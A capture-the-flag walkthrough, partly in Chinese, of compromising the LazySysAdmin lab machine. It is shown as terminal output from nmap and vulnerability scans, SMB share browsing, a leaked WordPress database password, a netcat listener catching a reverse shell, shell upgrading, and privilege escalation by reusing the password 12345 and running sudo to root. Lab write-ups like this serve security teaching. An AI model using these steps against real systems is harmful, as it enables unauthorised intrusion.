┌──(kali㉿kali)-[~] └─$ sudo nmap --min-rate 10000 -p- 192.1.1.130 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-07 08:41 EDT Nmap scan report for 192.1.1.130 Host is up (0.0028s latency). Not shown: 65529 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3306/tcp open mysql 6667/tcp open irc MAC Address: 00:0C:29:96:E4:E9 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 30.13 seconds
┌──(kali㉿kali)-[~/tools/LazySysAdmin_1] └─$ sudo nmap --script=vuln -p22,80,139,445,3306,6667 192.1.1.130 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-07 09:00 EDT Nmap scan report for 192.1.1.130 Host is up (0.00031s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_ http://ha.ckers.org/slowloris/ | http-enum: | /wordpress/: Blog | /test/: Test page | /robots.txt: Robots file | /info.php: Possible information file | /phpmyadmin/: phpMyAdmin | /wordpress/wp-login.php: Wordpress login page. | /apache/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)' |_ /old/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)' |_http-dombased-xss: Couldn't find any DOM based XSS. | http-sql-injection: | Possible sqli for queries: | http://192.1.1.130:80/Backnode_files/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=N%3BO%3DD%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=D%3BO%3DD%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=S%3BO%3DD%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=M%3BO%3DD%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=N%3BO%3DD%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.130:80/Backnode_files/?C=S%3BO%3DA%27%20OR%20sqlspider |_ http://192.1.1.130:80/Backnode_files/?C=N%3BO%3DA%27%20OR%20sqlspider |_http-csrf: Couldn't find any CSRF vulnerabilities. 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3306/tcp open mysql 6667/tcp open irc |_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again). | irc-botnet-channels: |_ ERROR: TIMEOUT MAC Address: 00:0C:29:96:E4:E9 (VMware)
Host script results: |_smb-vuln-ms10-061: false | smb-vuln-regsvc-dos: | VULNERABLE: | Service regsvc in Microsoft Windows systems vulnerable to denial of service | State: VULNERABLE | The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference | pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes | while working on smb-enum-sessions. |_ |_smb-vuln-ms10-054: false
Nmap done: 1 IP address (1 host up) scanned in 328.29 seconds
┌──(kali㉿kali)-[~] └─$ smbclient //192.1.1.130/share$ Password for [WORKGROUP\kali]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Aug 15 07:05:52 2017 .. D 0 Mon Aug 14 08:34:47 2017 wordpress D 0 Tue Aug 15 07:21:08 2017 Backnode_files D 0 Mon Aug 14 08:08:26 2017 wp D 0 Tue Aug 15 06:51:23 2017 deets.txt N 139 Mon Aug 14 08:20:05 2017 robots.txt N 92 Mon Aug 14 08:36:14 2017 todolist.txt N 79 Mon Aug 14 08:39:56 2017 apache D 0 Mon Aug 14 08:35:19 2017 index.html N 36072 Sun Aug 6 01:02:15 2017 info.php N 20 Tue Aug 15 06:55:19 2017 test D 0 Mon Aug 14 08:35:10 2017 old D 0 Mon Aug 14 08:35:13 2017
3029776 blocks of size 1024. 1456476 blocks available smb: \>
┌──(kali㉿kali)-[~/tools/LazySysAdmin_1] └─$ head -n 30 wp-config.php <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don\'t have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */
// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'wordpress');
/** MySQL database username */ define('DB_USER', 'Admin');
/** MySQL database password */ define('DB_PASSWORD', 'TogieMYSQL12345^^');
WordPress Security Scanner by the WPScan Team Version 3.8.24 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[i] It seems like you have not updated the database for some time. [?] Do you want to update now? [Y]es [N]o, default: [N] [+] URL: http://192.1.1.130/wordpress/ [192.1.1.130] [+] Started: Fri Jul 7 09:34:11 2023
[+] XML-RPC seems to be enabled: http://192.1.1.130/wordpress/xmlrpc.php | Found By: Link Tag (Passive Detection) | Confidence: 100% | Confirmed By: Direct Access (Aggressive Detection), 100% confidence | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.1.1.130/wordpress/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] Registration is enabled: http://192.1.1.130/wordpress/wp-login.php?action=register | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] Upload directory has listing enabled: http://192.1.1.130/wordpress/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.1.1.130/wordpress/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.8.1 identified (Insecure, released on 2017-08-02). | Found By: Rss Generator (Passive Detection) | - http://192.1.1.130/wordpress/?feed=rss2, <generator>https://wordpress.org/?v=4.8.1</generator> | - http://192.1.1.130/wordpress/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.8.1</generator>
[+] WordPress theme in use: twentyfifteen | Location: http://192.1.1.130/wordpress/wp-content/themes/twentyfifteen/ | Last Updated: 2023-03-29T00:00:00.000Z | Readme: http://192.1.1.130/wordpress/wp-content/themes/twentyfifteen/readme.txt | [!] The version is out of date, the latest version is 3.4 | Style URL: http://192.1.1.130/wordpress/wp-content/themes/twentyfifteen/style.css?ver=4.8.1 | Style Name: Twenty Fifteen | Style URI: https://wordpress.org/themes/twentyfifteen/ | Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen\'s simple, st... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.8 (80% confidence) | Found By: Style (Passive Detection) | - http://192.1.1.130/wordpress/wp-content/themes/twentyfifteen/style.css?ver=4.8.1, Match: 'Version: 1.8'
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
┌──(kali㉿kali)-[~/tools/LazySysAdmin_1] └─$ sudo nc -lvnp 443 [sudo] password for kali: listening on [any] 443 ... connect to [192.1.1.128] from (UNKNOWN) [192.1.1.130] 43140 Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 athlon i686 GNU/Linux 23:30:06 up 51 min, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can\'t access tty; job control turned off $ which python /usr/bin/python $ python -c "import pty;pty.spawn('/bin/bash')" www-data@LazySysAdmin:/$ whoami whoami www-data www-data@LazySysAdmin:/$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@LazySysAdmin:/$ uname -a uname -a Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 athlon i686 GNU/Linux www-data@LazySysAdmin:/$ ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000 link/ether 00:0c:29:96:e4:e9 brd ff:ff:ff:ff:ff:ff inet 192.1.1.130/24 brd 192.1.1.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::20c:29ff:fe96:e4e9/64 scope link valid_lft forever preferred_lft forever www-data@LazySysAdmin:/$
切换用户
smb 共享里我们已经把关键信息搜寻过了,那接下来就重点看别的信息,看看定时任务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
www-data@LazySysAdmin:/var/www/html$ cat /etc/crontab cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
# m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
没有收获,看看 home 目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
www-data@LazySysAdmin:/home$ ls ls togie www-data@LazySysAdmin:/home$ cd togie cd togie www-data@LazySysAdmin:/home/togie$ ls ls www-data@LazySysAdmin:/home/togie$ ls -liah ls -liah total 24K 720 drwxr-xr-x 3 togie togie 4.0K Aug 15 2017 . 758 drwxr-xr-x 3 root root 4.0K Aug 14 2017 .. 34865 -rw-r--r-- 1 togie togie 220 Aug 14 2017 .bash_logout 34871 -rw-r--r-- 1 togie togie 3.6K Aug 14 2017 .bashrc 37880 drwx------ 2 togie togie 4.0K Aug 14 2017 .cache 37872 -rw-r--r-- 1 togie togie 675 Aug 14 2017 .profile
用户目录下没什么有价值的隐藏文件,之前有个 12345 的密码,尝试一下能不能直接切换成 root
1 2 3 4 5
www-data@LazySysAdmin:/var/www/html$ su - su - Password: 12345
su: Authentication failure
失败,不过 home 目录下的这个用户名也可以试试
1 2 3
www-data@LazySysAdmin:/home$ su togie su togie Password: 12345
提权
切换成功了,看看这个用户有没有什么 sudo 权限
1 2 3 4 5 6 7 8 9 10
togie@LazySysAdmin:/home$ sudo -l sudo -l [sudo] password for togie: 12345
Matching Defaults entries for togie on LazySysAdmin: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User togie may run the following commands on LazySysAdmin: (ALL : ALL) ALL
togie@LazySysAdmin:/home$ sudo /bin/bash sudo /bin/bash root@LazySysAdmin:/home# cd /root cd /root root@LazySysAdmin:/root# ls ls proof.txt root@LazySysAdmin:/root# cat proof.txt cat proof.txt WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851